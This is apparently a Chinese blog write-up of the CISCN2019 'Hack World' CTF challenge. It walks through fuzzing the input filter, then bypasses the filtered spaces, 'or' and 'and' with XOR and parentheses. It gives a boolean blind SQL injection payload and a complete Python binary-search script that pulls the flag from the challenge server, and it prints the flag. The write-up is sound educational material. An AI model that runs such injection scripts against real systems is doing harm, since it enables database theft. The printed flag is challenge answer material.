[CISCN2019 华北赛区 Day2 Web1]Hack World

读题

  • sql注入题,而且直接告诉你flag在表flag中的flag字段。让你提交查询id
图片[1]-[CISCN2019 华北赛区 Day2 Web1]Hack World-安全小天地

查询1和2会有回显,输入其它数值都会提示错误。
抓包跑一下字典看一下过滤的内容(学到的新技能,原来bp的intruder还能这样用),字典的内容就是常见的sql注入的一些函数名、符号啥的
不过有一点是,BUU有限制,访问太快会提示429拒绝访问,所以,需要设置一下延时,我这个设置的有点慢。。。

图片[2]-[CISCN2019 华北赛区 Day2 Web1]Hack World-安全小天地

跑完看返回的报文,返回长度有493、492、482、472。分别对应不同的回显

图片[3]-[CISCN2019 华北赛区 Day2 Web1]Hack World-安全小天地
493

主要是482的过滤和472返回的fool,也没有其它回显,所以猜测布尔盲注。但是空格、 or、and 都被过滤了接下来的操作又是新的知识点

研究

一、sql异或运算

大概在这里应用就是假^假 =真真^真=假假^真=真真^假=真

当我们查询 1^00^1、和 1 的回显是一样的,而查询 1^10^0却会有报错提示。

所以结合 sql语句 ,我们可以构造0^payload,若为payload结果真,则返回1,0^1=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。

但如何构造payload,因为空格被过滤,所以用括号来代替分割,这里也算学的新方法,利用ASCII码来逐一匹配

   0^(ascii(substr((select(flag)from(flag)),1,1))>1)

肯定不可能手工盲注,所以,还是 python 脚本

import requests
import time
import re
url=\'http://d46c0271-1651-4746-9c9a-e9a975bfcd95.node3.buuoj.cn/index.php\'
flag = \'\'
for i in range(1,43):
    max = 127
    min = 0
    for c in range(0,127):
        s = (int)((max+min)/2)
        payload = \'1^(ascii(substr((select(flag)from(flag)),\'+str(i)+\',1))>\'+str(s)+\')\'
        r = requests.post(url,data = {\'id\':payload})
        time.sleep(0.005)
        if \'Hello, glzjin wants a girlfriend.\' in str(r.content):
            max=s
        else:
            min=s
        if((max-min)<=1):
            flag+=chr(max)
            break
print(flag)

这是一位师傅的脚本,设置了延时,防止429, 用二分法成功得到flag

所以最终flag为flag{fba4f657-3513-4054-8ec7-ebc3d6d8b95a}

------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞14 分享
评论 抢沙发
头像
善语结善缘,恶语伤人心
提交
头像

昵称

取消
昵称常用语 夸夸
夸夸
还有吗!没看够!
表情图片

    暂无评论内容